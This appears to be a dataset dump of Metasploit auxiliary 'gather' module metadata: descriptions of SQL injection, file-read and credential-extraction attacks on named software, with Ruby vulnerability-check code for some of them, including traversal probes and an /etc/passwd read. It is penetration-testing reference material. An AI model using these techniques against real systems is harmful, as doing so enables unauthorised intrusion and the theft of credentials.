deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Microweber CMS v1.2.10 Local File Inclusion (Authenticated)
Type: auxiliary
Path: modules/auxiliary/gather/microweber_lfi.rb
Disclosure date: 2022-01-30
References: CVE-2025-34076, URL-https://huntr.dev/bounties/09218d3f-1f6a-48ae-981c-85e86ad5ed8b/

Description:
Microweber CMS v1.2.10 has a backup functionality. Upload and download endpoints can be combined to read any file from the filesystem.
          Upload function may delete the local file if the web service user has access.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'login')
    })

    if res.nil?
      fail_with(Failure::Unreachable, 'Microweber CMS cannot be reached.')
    end

    print_status 'Checking if it\'s Microweber CMS.'

    if res.code == 200 && !res.body.include?('Microweber')
      print_error 'Microweber CMS has not been detected.'
      return Exploit::CheckCode::Safe('Target does not appear to be running Microweber CMS')
    end

    if res.code != 200
      fail_with(Failure::Unknown, res.body)
    end

    print_good 'Microweber CMS has been detected.'

    return check_version(res.body)
  end
Metasploit Module: Pimcore Gather Credentials via SQL Injection
Type: auxiliary
Path: modules/auxiliary/gather/pimcore_creds_sqli.rb
Disclosure date: 2018-08-13
References: CVE-2018-14058, EDB-45208

Description:
This module extracts the usernames and hashed passwords of all users of
          the Pimcore web service by exploiting a SQL injection vulnerability in
          Pimcore's REST API.

          Pimcore begins to create password hashes by concatenating a user's
          username, the name of the application, and the user's password in the
          format USERNAME:pimcore:PASSWORD.

          The resulting string is then used to generate an MD5 hash, and then that
          MD5 hash is used to create the final hash, which is generated using
          PHP's built-in password_hash function.
Metasploit Module: Android Content Provider File Disclosure
Type: auxiliary
Path: modules/auxiliary/gather/android_htmlfileprovider.rb
References: CVE-2010-4804, URL-http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/

Description:
This module exploits a cross-domain issue within the Android web browser to
          exfiltrate files from a vulnerable device.
Metasploit Module: LeakIX Search
Type: auxiliary
Path: modules/auxiliary/gather/leakix_search.rb
References: URL-https://leakix.net, URL-https://docs.leakix.net

Description:
This module uses the LeakIX API to search for exposed services and data leaks.
          LeakIX is a search engine focused on indexing internet-exposed services and
          leaked credentials/databases.

          An API key is required (free at https://leakix.net).

          Actions:
          SEARCH     - Query LeakIX with a search string and scope (leak or service).
          Paginated, 20 results per page, max 500 pages (10000 results).
          Free accounts have lower page limits.
          HOST       - Retrieve all known services and leaks for a given IP
          DOMAIN     - Retrieve all known services and leaks for a given domain
          SUBDOMAINS - List known subdomains for a given domain
          PLUGINS    - List all available LeakIX scanner plugins
          BULK       - Stream all leak results via the bulk API (Pro only, leak scope only).
          Use MAXRESULTS to limit the number of collected events.

          Query examples:
          +country:"France"
          +port:3306 +country:"Germany"
          plugin:HttpOpenProxy
          +software.name:"nginx" +country:"US"
Metasploit Module: VMware vCenter Server vmdir Information Disclosure
Type: auxiliary
Path: modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb
Disclosure date: 2020-04-09
References: CVE-2020-3952, URL-https://www.vmware.com/security/advisories/VMSA-2020-0006.html

Description:
This module uses an anonymous-bind LDAP connection to dump data from
          the vmdir service in VMware vCenter Server version 6.7 prior to the
          6.7U3f update, only if upgraded from a previous release line, such as
          6.0 or 6.5.
          If the bind username and password are provided (BIND_DN and LDAPPassword
          options), these credentials will be used instead of attempting an
          anonymous bind.
Metasploit Module: Joomla Real Estate Manager Component Error-Based SQL Injection
Type: auxiliary
Path: modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb
Disclosure date: 2015-10-22
References: EDB-38445

Description:
This module exploits a SQL injection vulnerability in Joomla Plugin
          com_realestatemanager versions 3.7 in order to either enumerate
          usernames and password hashes.

Check method (fingerprinting):
flag = Rex::Text.rand_text_alpha(5)
    payload = "0x#{flag.unpack('H*')[0]}"

    data = sqli(payload)
    if data && data.include?(flag)
      Msf::Exploit::CheckCode::Vulnerable('SQL injection confirmed in com_realestatemanager')
    else
      Msf::Exploit::CheckCode::Safe('SQL injection test payload was not reflected in response')
    end
  end
Metasploit Module: Roundcube TimeZone Authenticated File Disclosure
Type: auxiliary
Path: modules/auxiliary/gather/roundcube_auth_file_read.rb
Disclosure date: 2017-11-09
References: EDB-49510, URL-https://gist.github.com/thomascube/3ace32074e23fca0e6510e500bd914a1, CVE-2017-16651

Description:
Roundcube Webmail allows unauthorized access to arbitrary files on the host's filesystem, including configuration files.
          This affects all versions from 1.1.0 through version 1.3.2. The attacker must be able to authenticate at the target system
          with a valid username/password as the attack requires an active session.

          Tested against version 1.3.2
Metasploit Module: vBulletin Password Collector via nodeid SQL Injection
Type: auxiliary
Path: modules/auxiliary/gather/vbulletin_vote_sqli.rb
Disclosure date: 2013-03-24
References: CVE-2013-3522, OSVDB-92031, EDB-24882, BID-58754, URL-http://www.zempirians.com/archive/legion/vbulletin_5.pl.txt

Description:
This module exploits a SQL injection vulnerability found in vBulletin 5 that has been
          used in the wild since March 2013. This module can be used to extract the web application's
          usernames and hashes, which could be used to authenticate into the vBulletin admin control
          panel.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "index.php")
    })

    if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/
      if get_node
        # Multiple factors determine this LOOKS vulnerable
        return Msf::Exploit::CheckCode::Appears('vBulletin vote node found, target appears vulnerable')
      else
        # Not enough information about the vuln state, but at least we know this is vbulletin
        return Msf::Exploit::CheckCode::Detected('vBulletin detected but vulnerability not confirmed')
      end
    end

    Msf::Exploit::CheckCode::Safe('Target does not appear to be vBulletin')
  end
Metasploit Module: ColdFusion 'password.properties' Hash Extraction
Type: auxiliary
Path: modules/auxiliary/gather/coldfusion_pwd_props.rb
Disclosure date: 2013-05-07
References: CVE-2013-3336, OSVDB-93114, EDB-25305

Description:
This module uses a directory traversal vulnerability to extract information
          such as password, rdspassword, and "encrypted" properties. This module has been
          tested successfully on ColdFusion 9 and ColdFusion 10 (auto-detect).

Check method (fingerprinting):
if check_cf
      return Msf::Exploit::CheckCode::Vulnerable('ColdFusion password.properties file is accessible')
    end

    Msf::Exploit::CheckCode::Safe('ColdFusion password.properties file is not accessible')
  end
Metasploit Module: Android Open Source Platform (AOSP) Browser UXSS
Type: auxiliary
Path: modules/auxiliary/gather/android_stock_browser_uxss.rb
References: URL-http://1337day.com/exploit/description/22581, OSVDB-110664, CVE-2014-6041

Description:
This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in
          all versions of Android's open source stock browser before 4.4, and Android apps running
          on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug
          to scrape both cookie data and page contents from a vulnerable browser window.

          If your target URLs use X-Frame-Options, you can enable the "BYPASS_XFO" option,
          which will cause a popup window to be used. This requires a click from the user
          and is much less stealthy, but is generally harmless-looking.

          By supplying a CUSTOM_JS parameter and ensuring CLOSE_POPUP is set to false, this
          module also allows running arbitrary javascript in the context of the targeted URL.
          Some sample UXSS scripts are provided in data/exploits/uxss.
Metasploit Module: GLPI Inventory Plugin Unauthenticated Blind Boolean SQLi
Type: auxiliary
Path: modules/auxiliary/gather/glpi_inventory_plugin_unauth_sqli.rb
Disclosure date: 2025-03-12
References: URL-https://blog.lexfo.fr/glpi-sql-to-rce.html, CVE-2025-24799

Description:
GLPI <= 1.0.18 fails to properly sanitize user supplied data when sent inside a `SimpleXMLElement`
          (available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
          As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
          data from the backend database such as usernames and password hashes.

          In order for GLPI to be exploitable the GLPI Inventory plugin must be installed and enabled, and the
          "Enable Inventory" radio button inside the administration configuration also must be checked.

Check method (fingerprinting):
randnum = SecureRandom.random_number(1000)
    @extra_columns = 10
    res = send_request("select #{randnum}=#{randnum}")
    return Exploit::CheckCode::Safe('Inventory is disabled and needs to be enabled in order to be vulnerable') if res&.body == 'Inventory is disabled'

    begin
      @sqli = get_sqli_object
    rescue SQLExecutionError => e
      return Exploit::CheckCode::Unknown("#{e.class}: #{e.message}")
    end

    return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG

    begin
      verify_extra_columns
    rescue TargetNotVulnerableError => e
      return Exploit::CheckCode::Safe("#{e.class}: #{e.message}")
    end
    Exploit::CheckCode::Vulnerable('Time based blind boolean injection succeeded')
  end
Metasploit Module: Android Browser "Open in New Tab" Cookie Theft
Type: auxiliary
Path: modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb
References: URL-https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0, URL-http://www.rafayhackingarticles.net/2014/12/android-browser-cross-scheme-data.html

Description:
In Android's stock AOSP Browser application and WebView component, the
          "open in new tab" functionality allows a file URL to be opened. On
          versions of Android before 4.4, the path to the sqlite cookie
          database could be specified. By saving a cookie containing a <script>
          tag and then loading the sqlite database into the browser as an HTML file,
          XSS can be achieved inside the cookie file, disclosing *all* cookies
          (HttpOnly or not) to an attacker.
Metasploit Module: SolarWinds Serv-U Unauthenticated Arbitrary File Read
Type: auxiliary
Path: modules/auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995.rb
References: CVE-2024-28995, URL-http://web.archive.org/web/[PII_REDACTED]3538/https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28995, URL-https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis

Description:
This module exploits an unauthenticated file read vulnerability, due to directory traversal, affecting
          SolarWinds Serv-U FTP Server 15.4, Serv-U Gateway 15.4, and Serv-U MFT Server 15.4. All versions prior to
          the vendor supplied hotfix "15.4.2 Hotfix 2" (version 15.4.2.157) are affected.

Check method (fingerprinting):
# We try to leverage the vulnerability and read the file `Serv-U-StartupLog.txt` from the default location in
    # a default install on both Linux and Windows. If successful, we can pull out the Serv-U version number and the
    # OS version. By default, the location of the `Serv-U-StartupLog.txt` file is
    # `C:\ProgramData\RhinoSoft\Serv-U\Serv-U-StartupLog.txt` on Windows, and `/usr/local/Serv-U/Serv-U-StartupLog.txt`
    # on Linux.
    default_paths = [
      '\\..',
      '/../../../../ProgramData/RhinoSoft/Serv-U'
    ]

    default_paths.each do |default_path|
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(datastore['TARGETURI']),
        'vars_get' => {
          'InternalDir' => default_path,
          'InternalFile' => 'Serv-U-StartupLog.txt'
        }
      )

      return Msf::Exploit::CheckCode::Unknown('Connection failed') unless res

      next unless res.code == 200

      version = res.body.match(/Serv-U.+Version.+\(([\d+.]{1,})\)/)

      next unless version

      os = res.body.match(/Operating System:\s+(.+)/)

      return Msf::Exploit::CheckCode::Vulnerable("SolarWinds Serv-U version #{version[1]} (#{os.nil? ? 'Unknown OS' : os[1]})")
    end

    Msf::Exploit::CheckCode::Safe('Target does not appear to be a vulnerable SolarWinds Serv-U instance')
  end
Metasploit Module: Konica Minolta Password Extractor
Type: auxiliary
Path: modules/auxiliary/gather/konica_minolta_pwd_extract.rb

Description:
This module will extract FTP and SMB account usernames and passwords
          from Konica Minolta multifunction printer (MFP) devices. Tested models include
          C224, C280, 283, C353, C360, 363, 420, C452, C452, C452, C454e, and C554.
Metasploit Module: C2S DVR Management Password Disclosure
Type: auxiliary
Path: modules/auxiliary/gather/c2s_dvr_password_disclosure.rb
Disclosure date: Aug 19 2016
References: EDB-40265

Description:
C2S DVR allows an unauthenticated user to disclose the username
        & password by requesting the javascript page 'read.cgi?page=2'.
        This may also work on some cameras including IRDOME-II-C2S, IRBOX-II-C2S.
Metasploit Module: F5 BIG-IP Backend Cookie Disclosure
Type: auxiliary
Path: modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb
References: URL-https://support.f5.com/csp/article/K6917, URL-https://support.f5.com/csp/article/K7784, URL-https://support.f5.com/csp/article/K14784, URL-https://support.f5.com/csp/article/K23254150

Description:
This module identifies F5 BIG-IP load balancers and leaks backend information
          (pool name, routed domain, and backend servers' IP addresses and ports) through
          cookies inserted by the BIG-IP systems.
Metasploit Module: General Electric D20 Password Recovery
Type: auxiliary
Path: modules/auxiliary/gather/d20pass.rb
Disclosure date: 2012-01-19
References: CVE-2012-6663

Description:
The General Electric D20ME and possibly other units (D200?) feature
          TFTP readable configurations with plaintext passwords.  This module
          retrieves the username, password, and authentication level list.
Metasploit Module: Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN)
Type: auxiliary
Path: modules/auxiliary/gather/kerberoast.rb
References: URL-https://github.com/CoreSecurity/impacket/blob/master/examples/GetUserSPNs.py

Description:
This module will try to find Service Principal Names that are associated with normal user accounts.
          Since normal accounts' passwords tend to be shorter than machine accounts, and knowing that a TGS request
          will encrypt the ticket with the account the SPN is running under, this could be used for an offline
          bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.
          This is part of the kerberoast attack research by Tim Medin (@timmedin).
Metasploit Module: OneDev Unauthenticated Arbitrary File Read
Type: auxiliary
Path: modules/auxiliary/gather/onedev_arbitrary_file_read.rb
Disclosure date: 2024-10-19
References: CVE-2024-45309

Description:
This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8.
          To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor
          can view existing projects without authentication.
          However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach.
          By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    return Exploit::CheckCode::Unknown('Request failed') unless res

    unless ['OneDev', "var redirect = '/~login';"].any? { |f| res.body.include? f }
      return Exploit::CheckCode::Unknown("The target isn't a OneDev instance.")
    end

    version = res.body.scan(/OneDev ([\d.]+)/).first

    if version.nil?
      if datastore['PROJECT_NAME']
        res = read_file(datastore['PROJECT_NAME'], '/etc/passwd')

        if res.body.include? 'root:x:0:0:root:'
          return Exploit::CheckCode::Vulnerable('OneDev instance is vulnerable.')
        else
          return Exploit::CheckCode::Safe('OneDev instance is not vulnerable.')
        end
      end
      return Exploit::CheckCode::Unknown('Unable to detect the OneDev version, as the instance does not have anonymous access enabled.')
    end

    version = Rex::Version.new(version[0])

    return Exploit::CheckCode::Safe("OneDev #{version} is not vulnerable.") if version > Rex::Version.new('11.0.8')

    Exploit::CheckCode::Appears("OneDev #{version} is vulnerable.")
  end
Metasploit Module: NAT-PMP External Address Scanner
Type: auxiliary
Path: modules/auxiliary/gather/natpmp_external_address.rb
Authors: Jon Hart <jhart[at]spoofed.org>

Description:
Scan NAT devices for their external address using NAT-PMP
Metasploit Module: SSL Labs API Client
Type: auxiliary
Path: modules/auxiliary/gather/ssllabs_scan.rb

Description:
This module is a simple client for the SSL Labs APIs, designed for
          SSL/TLS assessment during a penetration test.
Metasploit Module: X11 Keylogger
Type: auxiliary
Path: modules/auxiliary/gather/x11_keyboard_spy.rb
Disclosure date: 1997-07-01
References: URL-https://www.kali.org/tools/xspy/, CVE-1999-0526

Description:
This module binds to an open X11 host to log keystrokes. This is a fairly
          close copy of the old xspy c program which has been on Kali for a long time.
          The module works by connecting to the X11 session, creating a background
          window, binding a keyboard to it and creating a notification alert when a key
          is pressed.

          One of the major limitations of xspy, and thus this module, is that it polls
          at a very fast rate, faster than a key being pressed is released (especially before
          the repeat delay is hit). To combat printing multiple characters for a single key
          press, repeat characters arent printed when typed in a very fast manor. This is also
          an imperfect keylogger in that keystrokes arent stored and forwarded but status
          displayed at poll time. Keys may be repeated or missing.

Check method (fingerprinting):
vprint_status('Establishing TCP Connection')
    connect # tcp connection establish
    vprint_status('Attempting X11 connection')
    connection = x11_connect

    if connection.nil?
      return Exploit::CheckCode::Safe('No connection, or bad X11 response received')
    end

    if connection.header.success == 1
      return Exploit::CheckCode::Appears('Successfully established X11 connection')
    end

    Exploit::CheckCode::Safe('X11 connection was not successful')
  end

  # This function takes map data and converts it to a hashtable so that
  # we can translate from x11 key press data to the actual key on the
  # keyboard which was pressed.
  # https://stackoverflow.com/a/28258750 has a good description of keysyms vs keycodes
Metasploit Module: Shodan Search
Type: auxiliary
Path: modules/auxiliary/gather/shodan_search.rb

Description:
This module uses the Shodan API to search Shodan. Accounts are free
          and an API key is required to use this module. Output from the module
          is displayed to the screen and can be saved to a file or the MSF database.
          NOTE: SHODAN filters (i.e. port, hostname, os, geo, city) can be used in
          queries, but there are limitations when used with a free API key. Please
          see the Shodan site for more information.
          Shodan website: https://www.shodan.io/
          API: https://developer.shodan.io/api
          Filters: https://www.shodan.io/search/filters
          Facets: https://www.shodan.io/search/facet (from the scrollbox)
Metasploit Module: AlienVault Authenticated SQL Injection Arbitrary File Read
Type: auxiliary
Path: modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb
Disclosure date: 2014-05-09
References: CVE-2014-5383, OSVDB-106815, EDB-33317, URL-http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower

Description:
AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against
          newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability
          to read an arbitrary file from the file system. Any authenticated user is able to exploit
          this, as administrator privileges are not required.
Metasploit Module: MyBB Database Fingerprint
Type: auxiliary
Path: modules/auxiliary/gather/mybb_db_fingerprint.rb
Disclosure date: 2014-02-13

Description:
This module checks if MyBB is running behind an URL. Also uses a malformed query to
          force an error and fingerprint the backend database used by MyBB on version 1.6.12
          and prior.

Check method (fingerprinting):
begin
      uri = normalize_uri(target_uri.path, 'index.php')
      res = send_request_cgi(
        {
          'method' => 'GET',
          'uri' => uri,
          'vars_get' => {
            'intcheck' => 1
          }
        }
      )

      if res.nil? || res.code != 200
        return Exploit::CheckCode::Unknown('No response or unexpected HTTP status code')
      end

      # Check PhP
      php_version = res['X-Powered-By']
      if php_version
        php_version = "#{php_version}"
      else
        php_version = "PHP version unknown"
      end

      # Check Web-Server
      web_server = res['Server']
      if web_server
        web_server = "#{web_server}"
      else
        web_server = "unknown web server"
      end

      # Check forum MyBB
      if res.body.match("&#077;&#089;&#066;&#066;")
        print_good("MyBB forum found running on #{web_server} / #{php_version}")
        return Exploit::CheckCode::Detected('MyBB forum detected')
      else
        return Exploit::CheckCode::Unknown('Target does not appear to be a MyBB forum')
      end
    rescue
      return Exploit::CheckCode::Unknown('An error occurred during the check')
    end
  end
Metasploit Module: HTTP Client LAN IP Address Gather
Type: auxiliary
Path: modules/auxiliary/gather/browser_lanipleak.rb
Disclosure date: 2013-09-05
References: CVE-2018-6849, URL-http://net.ipcalf.com/, URL-https://www.inputzero.io/p/private-ip-leakage-using-webrtc.html

Description:
This module retrieves a browser's network interface IP addresses
          using WebRTC.